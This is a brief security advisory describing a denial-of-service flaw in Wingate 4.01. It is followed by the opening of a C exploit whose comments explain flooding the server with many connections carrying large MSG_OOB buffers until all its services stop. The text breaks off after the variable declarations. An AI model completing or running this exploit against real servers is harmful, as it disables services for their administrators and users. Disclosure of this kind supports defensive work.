Wingate suffers from a security vulnerability that allows remote attackers to cause a denial of service attack against a machine running Wingate 4.01. The product seems to be unable to handle a large amount of connections that send it MSG_OOB data.
Credit:
The information has been provided by god- at EFNet.
The exploit code below shows how this vulnerability can be exploited to launch a DoS attack against Wingate.
Exploit:
/* god- 3/dec/y2k
* well just a small little thingie in here.
* we open multiply connections and we send a large buffer
* with the MSG_OOB flag. this will cause all connections to stay
* alive (as the WinGate server will think) and he will get
* overflowed ( thank you sigpipe =) ). when the local adminitrator will try to
* login to his wingate server, it will give him the error 'out of buffers'
* and he wont be able to login.
* and yes, this disables ALL of the wingate services.
*/
int main(int argc, char *argv[]) {
int fd, fd2;
int fd3[100];
int i = 0;
struct sockaddr_in sin;
/* blah blah large and shitty buffer */
char buffer[40000] = "\r\n\n";